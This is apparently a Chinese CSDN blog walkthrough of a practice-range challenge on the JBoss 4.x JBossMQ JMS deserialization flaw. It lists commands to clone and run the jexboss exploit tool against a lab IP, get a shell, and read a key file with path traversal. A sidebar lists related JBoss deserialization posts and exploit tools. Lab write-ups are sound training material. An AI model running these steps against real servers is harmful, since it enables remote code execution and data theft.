360众测靶场题库之51-JBoss 4.x JBossMQ JMS反序列化漏洞分析溯源

已于 2024-03-10 18:00:52 修改
阅读量172 收藏
点赞数 2
分类专栏： 360众测靶场题库 文章标签： 安全
于 2024-03-09 18:06:22 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zjl12344/article/details/136588182
版权

## 克隆项目至本地
git clone https://github.com/joaomatosf/jexboss.git

##切换到项目目录中

cd jexboss

##安装项目所需要的依赖

pip2 install -r requires.txt

##攻击目标 

python2 jexboss.py -u http://124.70.71.251:49454/

接下来就是等待连接，这时会弹出是否攻击，输入yes

##进入shell界面，输入 cat  ../../../key.txt   拿到key

BugBounty
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
JBoss反序列化
Massimo__JAVA的博客
07-15 519
jBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可， 可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB1.1、 EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBOSS反序列化漏洞
weixin_52206305的博客
07-05 3898
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。 经典的JBoss反序列化漏洞，JBoss在请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。访问http://ip+端口/invoker/JMXInvokerServlet 如果出现下载提示框，就证明可能存在漏洞。该漏洞出现在请求中访问http://ip+端口/如果出现该页面就表示可能存在漏洞 该漏洞出现在/invoker/rea
Jboss 反序列化 CVE-2017-12149
最新发布
npc88888的博客
05-12 434
JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。在/invoker/readonly路径下，攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测，导致攻击者可以执行任意代码。
Jboss反序列化漏洞的复现与原理
LJH1999ZN的博客
03-29 4914
一、什么是Jboss Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。 Jboss属于redhat公司，而且jboss是开源的，免费的，且在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器，所以曾经广为流行。 二、Jboss的历史漏洞 1.jboss反序列化漏洞，CVE-2017-7504 漏洞存在/jbossmq-httpi
Jboss中间件两大漏洞分析
fansenliangren的博客
12-28 1535
反序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，ObjectInputStream类的readObject()方法用于反序列化。
JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具
07-23
JBossMQJMS 反序列化漏洞（CVE-2017-7504）是针对企业级Java消息服务（JMS）提供商JBossMQ的一个严重安全问题。该漏洞源于应用程序未能正确处理反序列化的对象，使得攻击者可以通过精心构造的恶意输入触发任意代码...
Java反序列化漏洞利用工具.zip
04-10
标题"Java反序列化漏洞利用工具.zip"表明该压缩包内包含了针对Java反序列化漏洞的利用工具，特别提到了针对JBOSS和WebLogic两个流行的Java应用服务器。JBOSS和WebLogic都是企业级的应用服务器，广泛用于部署各种业务...
java反序列化漏洞利用工具Jboss&WebLogic;.rar
07-23
jboss回显执行命令部分利用异常抛出机制，本地（4.2.3.GA）测试成功，其他版本请自测 5. 体积更小，不再依赖java环境，但程序采用.net编写，需要.net 4.0环境 待完成： we blogic回显结果测试中，稍后加入
jboss反序列化漏洞检测工具
02-15
jboss中间件的反序列化漏洞检测工具，可检测主机搭建的中间件并获得shell
CVE-2017-12149JBOSSas6.X反序列化(反弹shell版)
08-08
【标题】"CVE-2017-12149 JBOSS AS 6.X 反序列化漏洞详解及反弹shell技术" 【内容】 CVE-2017-12149是一个针对JBOSS Application Server 6.x版本的严重安全漏洞，它涉及到了Java对象的反序列化过程。在Java中，反...
JAVA反序列化jboss 进入后台（及送JAVA反序列化工具和中国cai dao）
12-10
JAVA反序列化教程，利用JAVA反序列化软件进行检测，寻找，已经涉及到部分CMD命令和寻找网页IP，以及远程登陆简单介绍
JBOSS反序列化漏洞工具
03-28
通过JBOSS4 commons-collections.jar包的反序列化类InvokerTransformer, InstantiateFactory 和 InstantiateTransfromer class 文件可以远程操控服务器
Java反序列化漏洞之Weblogic、Jboss利用之payload生成工具
02-12
weblogic反序列化和jboss反序列化测试payload，仅供运维人员测试漏洞，请勿非法使用，否则后果自负！
JBoss-5.x6.x-反序列化（CVE-2017-12149）
bqnagus
10-02 861
JBoss-5.x6.x-反序列化（CVE-2017-12149）
vulhub漏洞复现-jboss反序列化漏洞复现
weixin_45095113的博客
12-21 649
vulhub漏洞复现-jboss反序列化漏洞
中间件安全：JBoss 反序列化命令执行漏洞.（CVE-2017-12149）
网络安全领域___专研者.
11-28 669
JBoss 反序列化漏洞，该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中，其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致恶意访问者通过精心设计的序列化数据执行任意代码。
JBoss漏洞:JBOSS反序列化漏洞合集
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
11-09 382
JBOSS反序列化漏洞合集,由于反序列化漏洞的攻击方式都是一样的，只是漏洞发生的文件和成因不同，所以就以JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)为例子过一遍流程 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) 该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中，在/invoker/readonly请求中，服务器将用户提交的POST内容进行了Java反序列化
jboss CVE-2015-7501 反序列化漏洞
读书 买花 长大
06-04 1086
CVE-2015-7501
jboss反序列化漏洞
08-16
JBoss反序列化漏洞是指JBoss应用服务器中存在的一种安全漏洞，具体表现为Java反序列化错误类型。该漏洞存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致漏洞的出现。攻击者可以利用此漏洞发送特制的请求，通过发送包含恶意序列化数据的POST请求到`/invoker/readonly`路径，实现远程代码执行的攻击。这个漏洞可以在JBoss 5.x和6.x版本中被利用。如果访问`http://ip:端口/jbossmq-httpil/HTTPServerILServlet`出现相关页面，就可能存在该漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [jboss反序列化漏洞](https://blog.csdn.net/weixin_48776804/article/details/116919336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [JBOSS反序列化漏洞](https://blog.csdn.net/weixin_52206305/article/details/125534761)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值